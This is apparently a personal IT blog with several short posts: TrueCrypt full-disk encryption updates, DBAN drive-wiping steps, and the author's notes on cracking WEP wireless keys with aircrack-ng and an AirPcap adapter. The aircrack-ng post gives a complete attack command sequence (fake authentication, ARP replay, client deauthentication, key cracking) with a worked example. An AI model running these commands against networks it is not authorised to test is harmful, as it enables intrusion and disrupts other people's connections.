Mind Circus

One of the biggest issues with Truecrypt 5.0’s System Partition encryption was that it couldn’t hibernate the OS; which was holding me back from deploying it company-wide. Thankfully, this is now fixed in 5.1

Support for hibernation on computers where the system partition is encrypted (previous versions of TrueCrypt prevented the system from hibernating when the system partition was encrypted). (Windows Vista/XP/2008/2003)

Other things of note include faster encryption/decryption using AES, and faster boot times.

[ Version History ] [ Download Trucrypt 5.1 ]

TrueCrypt 5.0, the open-source, multi-platform encryption suite, is available for download. New features for Windows include improved write speeds (up to 100% improvement) and Full Disk Encryption. They’ve also released a long-anticipated Mac OSX version

Why did I embolden Full Disk Encryption? Because UK companies and Government organisations are losing laptops left, right and centre - without encrypting their sensitive contents. As an IT Professional, you’d be crazy to not be investigating the various options for keeping your company’s data safe, in the event of loss or theft.

Check out what’s new in TrueCrypt 5.0.

I just discovered that the NSA publish a fair amount of Security guides on their website. Looks like some very interesting content - not to mention free

Found via Network Geek (which I found via Ma.tt)

Finally, I’ve had time to write down my notes on using aircrack-ng with the Airpcap Tx adapter in Windows. Before you read on, please be aware that this isn’t meant to be a guide or tutorial, it’s just my notes. Thanky

Basics

Start capturing:

airodump-ng \\.\airpcap00 airpcap CHANNELNUMBER mycapturefile

Fake auth:

aireplay-ng --fakeauth 0 -e "MYSSID" -a BSSIDMAC -h AIRPCAPMAC \\.\airpcap00

Start attack:

aireplay-ng --arpreplay -b BSSIDMAC -h CLIENTMAC \\.\airpcap00

Deauth (if we need ARPs):

aireplay-ng --deauth 3 -a BSSIDMAC -c CLIENTMAC \\.\airpcap00

Start cracking:

aircrack-ng -z mycapturefile.cap

Worked example:

airodump-ng.exe \\.\airpcap00 airpcap 11 mycapturefile
aireplay-ng --fakeauth 0 -e "WEP" -a 00:a0:c5:9d:d5:50 -h 00:02:72:67:92:8a \\.\airpcap00
aireplay-ng --arpreplay -b 00:a0:c5:9d:d5:50 -h 00:90:4b:eb:9b:36 \\.\airpcap00
aireplay-ng --deauth 3 -a 00:a0:c5:9d:d5:50 -c 00:90:4b:eb:9b:36 \\.\airpcap00
aircrack-ng -z mycapturefile.cap

Download

I’ve prepared a special release of the aircrack-ng tools originally prepared by CACE Technologies on the AirPcap CDROM. It replaces the new aireplay-ng.exe with an older one which, in my tests, appears to perform better.

Download the release of aircrack-ng for AirPcap Tx

Every once in a while I need to securely wipe a hard drive before it’s sold on. To do this I use Darik’s Boot and Nuke. DBAN is a free, bootable application that allows you to securely erase a hard drive so that no one can recover any of the data that’s on it.

Why should you use DBAN?

If you’re selling your hard drive on eBay, or anywhere else, it’s vital that the data is completely erased as many buyers are scouring for personal data left on hard drives. A format using fdisk is not enough, as a standard format only marks the data as erased - it’s still there, it’s just been hidden from view; and by using readily available tools, it’s incredibly easy to un-hide that data and do whatever you want with it. Securely erasing data is especially important if your decommissioned hard drive has any sensitive data on it - and it’s safe to say that if you care about your privacy, or you’re running a business, most data is sensitive!

Using DBAN

You can boot DBAN from a CD/DVD or a USB drive. Once it’s booted, simply choose a wipe method, and how many rounds of wiping you’d like to perform. From my research online, I’ve found that using a PRNG (Pseudo-Random Number Generation) wipe 8 times over, is the most secure for modern hard drives. Apparently the Guttman (35 round wipe) isn’t as effective on modern drives.

Here’s the basic steps you need:

• Burn the .iso file to a CD (you can use something like ImgBurn)
• Boot up DBAN, and hit Enter to run in Interactive Mode.
• Press the M Key to choose the Method: Scroll down to PRNG and hit Space.
• Press the R Key to choose the Rounds: For high security we need 8 rounds, so replace 1 with 8.
• Hit F10 to start, and wait until done.